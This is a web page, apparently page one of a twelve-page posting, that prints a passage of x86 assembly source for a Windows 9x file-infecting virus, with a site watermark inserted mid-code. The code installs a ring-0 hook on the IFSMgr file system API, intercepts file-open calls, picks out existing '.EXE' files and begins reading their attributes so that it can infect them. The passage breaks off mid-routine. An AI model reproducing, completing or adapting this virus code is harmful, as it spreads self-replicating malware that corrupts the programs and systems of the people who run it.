push dword ptr [esp 8] call OldInstallFileSystemApiHook-@3[ebx] pop ecx push eax ; Call Original IFSMgr_InstallFileSystemApiHook ; to Link My FileSystemApiHook push ebx call OldInstallFileSystemApiHook-@3[ebx] 逆@风@者 pop ecx mov dr0, eax ; Adjust OldFileSystemApiHook Address pop eax pop ebx ret
; ********************************************************* ; * Static Data * ; *********************************************************
OldInstallFileSystemApiHook dd ?
; ********************************************************* ; * IFSMgr_FileSystemHook * ; *********************************************************
; ************************************* ; * IFSMgr_FileSystemHook Entry Point * ; *************************************
FileSystemApiHook: @3 = FileSystemApiHook
pushad call @5 ; @5: ; pop esi ; mov esi, offset VirusGameDataStartAddress add esi, VirusGameDataStartAddress-@5
; ************************************* ; * Is OnBusy !? * ; *************************************
test byte ptr (OnBusy-@6)[esi], 01h ; if ( OnBusy ) jnz pIFSFunc ; goto pIFSFunc
; ************************************* ; * Is OpenFile !? * ; *************************************
; if ( NotOpenFile ) ; goto prevhook lea ebx, [esp 20h 04h 04h] cmp dword ptr [ebx], 00000024h jne prevhook
; ************************************* ; * Enable OnBusy * ; *************************************
inc byte ptr (OnBusy-@6)[esi] ; Enable OnBusy
; ************************************* ; * Get FilePath's DriveNumber, * ; * then Set the DriveName to * ; * FileNameBuffer. * ; ************************************* ; * Ex. If DriveNumber is 03h, * ; * DriveName is 'C:'. * ; *************************************
add esi, FileNameBuffer-@6 push esi mov al, [ebx 04h] cmp al, 0ffh je CallUniToBCSPath add al, 40h mov ah, ':' mov [esi], eax inc esi inc esi
; ************************************* ; * UniToBCSPath * ; ************************************* ; * This Service Converts * ; * a Canonicalized Unicode Pathname * ; * to a Normal Pathname in the * ; * Specified BCS Character Set. * ; *************************************
CallUniToBCSPath: push 00000000h push FileNameBufferSize mov ebx, [ebx 10h] mov eax, [ebx 0ch] add eax, 04h push eax push esi int 20h ; VXDCall UniToBCSPath UniToBCSPath = $ dd 00400041h add esp, 04h*04h
; ************************************* ; * Is FileName '.EXE' !? * ; *************************************
cmp [esi eax-04h], 'EXE.' pop esi jne DisableOnBusy
IF DEBUG
; ************************************* ; * Only for Debug * ; *************************************
cmp [esi eax-06h], 'KCUF' jne DisableOnBusy
ENDIF
; ************************************* ; * Is Open Existing File !? * ; *************************************
; if ( NotOpenExistingFile ) ; goto DisableOnBusy cmp word ptr [ebx 18h], 01h jne DisableOnBusy
; ************************************* ; * Get Attributes of the File * ; *************************************
mov ax, 4300h int 20h ; VXDCall IFSMgr_Ring0_FileIO IFSMgr_Ring0_FileIO = $ dd 00400032h jc DisableOnBusy push ecx
; ************************************* ; * Get IFSMgr_Ring0_FileIO Address * ; *************************************
mov edi, dword ptr (IFSMgr_Ring0_FileIO-@7)[esi] 本文章更多内容:<<上一页 - 1 - 2 - 3 - 4 - 5 - 6 - 7 - 8 - 9 - 10 - 11 - 12 - 下一页>> |